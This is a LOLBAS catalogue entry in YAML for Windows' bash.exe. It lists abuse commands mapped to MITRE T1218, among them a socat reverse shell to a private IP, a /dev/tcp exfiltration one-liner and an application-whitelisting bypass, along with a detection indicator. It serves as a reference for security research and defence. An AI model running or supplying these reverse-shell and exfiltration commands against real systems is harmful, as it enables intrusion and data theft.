LOLBAS/yml/OSBinaries/Bash.yml
2021-11-05 18:58:26 +00:00

50 lines
1.7 KiB
YAML

---
Name: Bash.exe
Description: File used by Windows subsystem for Linux
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
- Command: bash.exe -c calc.exe
Description: Executes calc.exe from bash.exe
Usecase: Performs execution of specified file, can be used as a defensive evasion.
Category: Execute
Privileges: User
MitreID: T1218
OperatingSystem: Windows 10
- Command: bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
Description: Executes a reverseshell
Usecase: Performs execution of specified file, can be used as a defensive evasion.
Category: Execute
Privileges: User
MitreID: T1218
OperatingSystem: Windows 10
- Command: bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'
Description: Exfiltrate data
Usecase: Performs execution of specified file, can be used as a defensive evasion.
Category: Execute
Privileges: User
MitreID: T1218
OperatingSystem: Windows 10
- Command: bash.exe -c calc.exe
Description: Executes calc.exe from bash.exe
Usecase: Performs execution of specified file, can be used to bypass Application Whitelisting.
Category: AWL Bypass
Privileges: User
MitreID: T1218
OperatingSystem: Windows 10
Full_Path:
- Path: C:\Windows\System32\bash.exe
- Path: C:\Windows\SysWOW64\bash.exe
Code_Sample:
- Code:
Detection:
- IOC: Child process from bash.exe
Resources:
- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
Acknowledgement:
- Person: Alex Ionescu
Handle: '@aionescu'
- Person: Asif Matadar
Handle: '@d1r4c'
---